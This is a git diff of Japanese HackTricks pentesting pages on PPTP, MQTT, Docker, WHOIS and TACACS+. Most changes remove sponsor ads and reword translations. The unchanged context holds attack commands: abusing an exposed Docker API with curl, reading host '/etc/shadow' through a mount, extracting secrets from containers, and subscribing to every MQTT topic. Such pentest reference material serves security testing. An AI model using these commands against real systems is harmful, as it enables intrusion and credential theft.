@ -374,17 +360,6 @@ iOSは同じアプリのクラッシュを25件しか保存しないため、こ
|
|||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -395,8 +370,8 @@ GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**ポイント・ツー・ポイントトンネリングプロトコル (PPTP)** は、モバイルデバイスへの**リモートアクセス**に広く使用される方法です。これは、キーの交換に**TCPポート1723**を利用し、**IPプロトコル47**(一般的なルーティングカプセル化、または**GRE**)を使用して、ピア間で送信されるデータを暗号化します。この設定は、インターネット上で安全な通信チャネルを確立するために重要であり、交換されるデータが機密性を保ち、不正アクセスから保護されることを保証します。
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** は、**リモートアクセス**のために広く使用されている方法です。これは、キーの交換に**TCPポート1723**を利用し、**IPプロトコル47**(Generic Routing Encapsulation、または**GRE**)を使用して、ピア間で送信されるデータを暗号化します。この設定は、インターネット上で安全な通信チャネルを確立するために重要であり、交換されるデータが機密性を保ち、不正アクセスから保護されることを保証します。
|
||||
|
||||
**デフォルトポート**:1723
|
||||
|
||||
|
@ -55,7 +42,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** は、極めてシンプルで軽量な**パブリッシュ/サブスクライブメッセージングプロトコル**として知られています。このプロトコルは、デバイスの能力が限られている環境や、低帯域幅、高遅延、または信頼性の低い接続が特徴のネットワークで動作するように特別に設計されています。MQTTの主な目的は、ネットワーク帯域幅の使用を最小限に抑え、デバイスリソースへの要求を減らすことです。さらに、信頼性のある通信を維持し、一定の配信保証を提供することを目指しています。これらの目標により、MQTTは急成長している**機械間通信 (M2M)** および **モノのインターネット (IoT)** の分野に非常に適しています。ここでは、多数のデバイスを効率的に接続することが不可欠です。さらに、MQTTはモバイルアプリケーションにも非常に有益で、帯域幅とバッテリー寿命を節約することが重要です。
|
||||
**MQ Telemetry Transport (MQTT)** は、極めてシンプルで軽量な**パブリッシュ/サブスクライブメッセージングプロトコル**として知られています。このプロトコルは、デバイスの能力が限られている環境や、低帯域幅、高遅延、または信頼性の低い接続が特徴のネットワークで動作するように特別に設計されています。MQTTの主な目的は、ネットワーク帯域幅の使用を最小限に抑え、デバイスリソースへの要求を減らすことです。さらに、信頼性のある通信を維持し、一定の配信保証を提供することを目指しています。これらの目標により、MQTTは急成長している**機械間通信 (M2M)**および**モノのインターネット (IoT)**の分野に非常に適しています。ここでは、多数のデバイスを効率的に接続することが不可欠です。さらに、MQTTはモバイルアプリケーションにも非常に有益であり、帯域幅とバッテリー寿命を節約することが重要です。
|
||||
|
||||
**デフォルトポート:** 1883
|
||||
```
|
||||
|
@ -40,9 +27,9 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## トラフィックの検査
|
||||
|
||||
MQTTブローカーが**CONNECT**パケットを受信すると、**CONNACK**パケットが返送されます。このパケットには接続状態を理解するために重要なリターンコードが含まれています。リターンコードが**0x00**の場合、認証情報が受け入れられたことを意味し、接続が成功したことを示します。一方、リターンコードが**0x05**の場合、認証情報が無効であることを示し、接続を防ぎます。
|
||||
MQTTブローカーが**CONNECT**パケットを受信すると、**CONNACK**パケットが返送されます。このパケットには接続状況を理解するために重要なリターンコードが含まれています。リターンコードが**0x00**の場合、認証情報が受け入れられたことを意味し、接続が成功したことを示します。一方、リターンコードが**0x05**の場合、認証情報が無効であることを示し、接続を防ぎます。
|
||||
|
||||
たとえば、ブローカーが無効な認証情報のために接続を拒否した場合、シナリオは次のようになります:
|
||||
例えば、ブローカーが無効な認証情報のために接続を拒否した場合、シナリオは次のようになります:
|
||||
```
|
||||
{
|
||||
"returnCode": "0x05",
|
||||
|
@ -63,9 +50,9 @@ MQTTサービスに接続するには、次のものを使用できます: [http
|
|||
> subscribe "#" 1
|
||||
> subscribe "$SYS/#"
|
||||
```
|
||||
[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)を使用することもできます。
|
||||
あなたはまた、[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)を使用することができます。
|
||||
|
||||
また、次のものを使用できます:
|
||||
あなたはまた、使用することができます:
|
||||
```bash
|
||||
apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
|
@ -108,14 +95,14 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http
|
|||
|
||||
パブリッシュ/サブスクライブモデルは以下で構成されています:
|
||||
|
||||
* **Publisher**: ブローカー内の1つ(または複数の)トピックにメッセージを公開します。
|
||||
* **Subscriber**: ブローカー内の1つ(または複数の)トピックにサブスクライブし、パブリッシャーから送信されたすべてのメッセージを受信します。
|
||||
* **Publisher**: ブローカー内の1つ(または複数)のトピックにメッセージを公開します。
|
||||
* **Subscriber**: ブローカー内の1つ(または複数)のトピックにサブスクライブし、パブリッシャーから送信されたすべてのメッセージを受信します。
|
||||
* **Broker**: パブリッシャーからサブスクライバーへのすべてのメッセージをルーティングします。
|
||||
* **Topic**: スラッシュ(/)で区切られた1つ以上のレベルで構成されています(例:/smartshouse/livingroom/temperature)。
|
||||
|
||||
### Packet Format <a href="#f15a" id="f15a"></a>
|
||||
|
||||
すべてのMQTTパケットには固定ヘッダーが含まれています(図02)。図02: 固定ヘッダー
|
||||
すべてのMQTTパケットは固定ヘッダーを含みます(図02)。図02: 固定ヘッダー
|
||||
|
||||
![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
|
||||
|
@ -126,12 +113,12 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http
|
|||
* PUBLISH (3): クライアントからサーバー、またはその逆にメッセージを送信するために使用されます。
|
||||
* PUBACK (4): PUBLISHパケットの確認。
|
||||
* PUBREC (5): メッセージが受信されたことを保証するメッセージ配信プロトコルの一部。
|
||||
* PUBREL (6): メッセージ配信のさらなる保証、メッセージの解放を示します。
|
||||
* PUBREL (6): メッセージ配信のさらなる保証、メッセージのリリースを示します。
|
||||
* PUBCOMP (7): メッセージ配信プロトコルの最終部分、完了を示します。
|
||||
* SUBSCRIBE (8): クライアントがトピックからメッセージを受信するリクエスト。
|
||||
* SUBSCRIBE (8): クライアントがトピックからメッセージを受信するためのリクエスト。
|
||||
* SUBACK (9): サーバーのSUBSCRIBEリクエストの確認。
|
||||
* UNSUBSCRIBE (10): クライアントがトピックからのメッセージ受信を停止するリクエスト。
|
||||
* UNSUBACK (11): UNSUBSCRIBEリクエストに対するサーバーの応答。
|
||||
* UNSUBSCRIBE (10): クライアントがトピックからのメッセージ受信を停止するためのリクエスト。
|
||||
* UNSUBACK (11): サーバーのUNSUBSCRIBEリクエストへの応答。
|
||||
* PINGREQ (12): クライアントによって送信されるハートビートメッセージ。
|
||||
* PINGRESP (13): ハートビートメッセージに対するサーバーの応答。
|
||||
* DISCONNECT (14): クライアントによって接続を終了するために開始されます。
|
||||
|
@ -141,17 +128,6 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http
|
|||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**に基づいた検索エンジンで、企業やその顧客が**stealer malwares**によって**侵害**されているかどうかを確認するための**無料**機能を提供します。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,35 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Dockerの基本
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
#### とは
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
Dockerは**コンテナ化業界**の**最前線プラットフォーム**であり、**継続的な革新**を先導しています。これは、**従来型から未来型**にわたるアプリケーションの作成と配布を容易にし、さまざまな環境での**安全なデプロイメント**を保証します。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
#### 基本的なDockerアーキテクチャ
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Docker Basics
|
||||
|
||||
#### What is
|
||||
|
||||
Dockerは、**コンテナ化業界**の**最前線プラットフォーム**であり、**継続的な革新**を先導しています。これは、**従来型から未来的な**アプリケーションの作成と配布を容易にし、さまざまな環境での**安全なデプロイメント**を保証します。
|
||||
|
||||
#### Basic docker architecture
|
||||
|
||||
* [**containerd**](http://containerd.io): これは、コンテナのライフサイクルを包括的に**管理**するための**コアランタイム**です。これには、**イメージの転送とストレージ**の管理に加え、コンテナの**実行、監視、ネットワーキング**を監督することが含まれます。containerdに関する**詳細な情報**は**さらに探求**されています。
|
||||
* [**containerd**](http://containerd.io): これはコンテナの**コアランタイム**であり、コンテナのライフサイクルの包括的な**管理**を担当します。これには、**イメージの転送とストレージ**の管理に加え、コンテナの**実行、監視、ネットワーキング**の監督が含まれます。containerdに関する**詳細な洞察**は**さらに探求されます**。
|
||||
* **container-shim**は、**ヘッドレスコンテナ**の処理において重要な役割を果たし、コンテナが初期化された後に**runc**からシームレスに引き継ぎます。
|
||||
* [**runc**](http://runc.io): **軽量で汎用的なコンテナランタイム**機能で評価されているruncは、**OCI標準**に準拠しています。これは、containerdが**OCIガイドライン**に従ってコンテナを**起動および管理**するために使用され、元の**libcontainer**から進化しました。
|
||||
* [**grpc**](http://www.grpc.io)は、containerdと**docker-engine**間の**通信を促進**するために不可欠であり、**効率的な相互作用**を保証します。
|
||||
* [**OCI**](https://www.opencontainers.org)は、ランタイムとイメージのための**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠**しています。
|
||||
* [**grpc**](http://www.grpc.io)は、containerdと**docker-engine**間の**通信を促進**するために不可欠であり、**効率的な相互作用**を確保します。
|
||||
* [**OCI**](https://www.opencontainers.org)は、ランタイムとイメージのための**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠しています**。
|
||||
|
||||
#### Basic commands
|
||||
#### 基本コマンド
|
||||
```bash
|
||||
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
|
||||
docker info #Get more infomarion about docker settings
|
||||
|
@ -68,9 +55,9 @@ docker system prune -a
|
|||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでの**コンテナの実行を簡素化する**ことを目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化します。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。
|
||||
**Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでの**コンテナの実行を簡素化する**ことを目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化しています。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。
|
||||
|
||||
重要な設計上の決定は、**Containerdがネットワーキングを扱わない**ことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキング(SDN)やサービスディスカバリなどの複雑さは、プラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームにネットワーキングの管理を委ねています。
|
||||
重要な設計上の決定は、**Containerdがネットワーキングを扱わない**ことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキング(SDN)やサービスディスカバリーなどの複雑さは、プラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームにネットワーキングの管理を委ねています。
|
||||
|
||||
**DockerがContainerdを利用して**コンテナを実行する一方で、ContainerdはDockerの機能のサブセットのみをサポートしていることに注意が必要です。具体的には、ContainerdはDockerに存在するネットワーク管理機能を欠いており、Dockerスウォームの作成を直接サポートしていません。この違いは、Containerdがコンテナランタイム環境としての焦点を絞った役割を持ち、統合するプラットフォームにより専門的な機能を委任していることを強調しています。
|
||||
```bash
|
||||
|
@ -161,7 +148,7 @@ docker-init:
|
|||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
リモートのdocker APIに`docker`コマンドで**接続**できる場合、サービスに興味を持つために**実行**できる**docker**の[**コマンド**](2375-pentesting-docker.md#basic-commands)があります。
|
||||
リモートのdocker APIに`docker`コマンドで**接続**できる場合、サービスに興味を持つために、以前にコメントされた**docker** [**コマンド**](2375-pentesting-docker.md#basic-commands)のいずれかを**実行**できます。
|
||||
|
||||
{% hint style="info" %}
|
||||
`export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**回避**できます
|
||||
|
@ -203,7 +190,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
|
|||
#Delete stopped containers
|
||||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
||||
```
|
||||
この件についての詳細情報が必要な場合、コマンドをコピーした場所にさらに情報があります: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||
もしこれについてもっと情報が必要な場合、コマンドをコピーした場所にさらに情報があります: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||||
|
||||
#### 自動
|
||||
```bash
|
||||
|
@ -212,7 +199,7 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
|
|||
```
|
||||
### Compromising
|
||||
|
||||
次のページでは、**Dockerコンテナからの脱出方法**を見つけることができます:
|
||||
以下のページでは、**Dockerコンテナからの脱出方法**を見つけることができます:
|
||||
|
||||
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
|
||||
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
|
||||
|
@ -227,7 +214,7 @@ cat /mnt/etc/shadow
|
|||
|
||||
### 特権昇格
|
||||
|
||||
dockerを使用しているホスト内にいる場合は、[**特権を昇格させるためにこの情報を読むことができます**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
|
||||
dockerを使用しているホスト内にいる場合、[**特権を昇格させるためにこの情報を読むことができます**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
|
||||
|
||||
### 実行中のDockerコンテナ内の秘密を発見する
|
||||
```bash
|
||||
|
@ -254,7 +241,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
* `./docker-bench-security.sh`
|
||||
* 現在のdockerインストールを検査するために、ツール[https://github.com/kost/dockscan](https://github.com/kost/dockscan)を使用できます。
|
||||
* `dockscan -v unix:///var/run/docker.sock`
|
||||
* 異なるセキュリティオプションで実行されるコンテナが持つ権限を確認するために、ツール[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)を使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます:
|
||||
* 異なるセキュリティオプションで実行されるコンテナの権限を確認するために、ツール[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)を使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます:
|
||||
* `docker run --rm -it r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
@ -267,7 +254,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
#### Dockerfileのセキュリティ
|
||||
|
||||
* あらゆる種類の誤設定を見つけるために、ツール[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)を使用して**Dockerfileを検査**できます。各誤設定にはIDが付与され、[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。
|
||||
* あらゆる種類の誤設定を見つけるために、ツール[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)を使用して**Dockerfileを検査**できます。各誤設定にはIDが付与され、ここ[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。
|
||||
* `dockerfilelinter -f Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (176).png>)
|
||||
|
@ -290,7 +277,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
#### 疑わしい活動のログ記録
|
||||
|
||||
* 実行中のコンテナでの**疑わしい動作を検出**するために、ツール[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)を使用できます。
|
||||
* 次のチャンクでは、**Falcoがカーネルモジュールをコンパイルして挿入する**方法に注意してください。その後、ルールを読み込み、**疑わしい活動のログを開始**します。この場合、特権コンテナが2つ開始され、そのうちの1つは敏感なマウントを持ち、数秒後に1つのコンテナ内でシェルが開かれたことを検出しました。
|
||||
* 次のチャンクでは、**Falcoがカーネルモジュールをコンパイルして挿入する**方法に注意してください。その後、ルールを読み込み、**疑わしい活動のログを記録し始めます**。この場合、特権コンテナが2つ開始され、そのうちの1つは敏感なマウントを持ち、数秒後に1つのコンテナ内でシェルが開かれたことを検出しました。
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
@ -333,24 +320,13 @@ falco-probe found and loaded in dkms
|
|||
```
|
||||
#### Dockerの監視
|
||||
|
||||
auditdを使用してdockerを監視できます。
|
||||
auditdを使用してDockerを監視できます。
|
||||
|
||||
### 参考文献
|
||||
|
||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**stealer malwares**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -361,8 +337,8 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**WHOIS**プロトコルは、特定のデータベースを通じて**さまざまなインターネットリソースの登録者や保有者について問い合わせるための標準的な方法**として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これらに加えて、プロトコルはより広範な情報にアクセスするためにも利用されます。
|
||||
|
@ -39,7 +31,7 @@ whoisサービスがドメインについて持っているすべての情報を
|
|||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
注意してください。WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります。
|
||||
注意として、WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります:
|
||||
|
||||
![](<../.gitbook/assets/image (301).png>)
|
||||
|
||||
|
@ -49,12 +41,6 @@ echo "domain.ltd" | nc -vn <HOST> <PORT>
|
|||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks 自動コマンド
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**ターミナルアクセスコントローラーアクセス制御システム (TACACS)** プロトコルは、ルーターやネットワークアクセスサーバー (NAS) にアクセスしようとするユーザーを中央で検証するために使用されます。そのアップグレード版である **TACACS+** は、サービスを認証、承認、および会計 (AAA) に分離します。
|
||||
|
@ -34,7 +26,7 @@ PORT STATE SERVICE
|
|||
|
||||
## 認証キーの傍受
|
||||
|
||||
クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受される可能性があります**。攻撃者は、**ログに検出されることなくキーに対してローカルブルートフォース攻撃を試みることができます**。キーのブルートフォース攻撃に成功すると、攻撃者はネットワーク機器にアクセスでき、Wiresharkのようなツールを使用してトラフィックを復号化できます。
|
||||
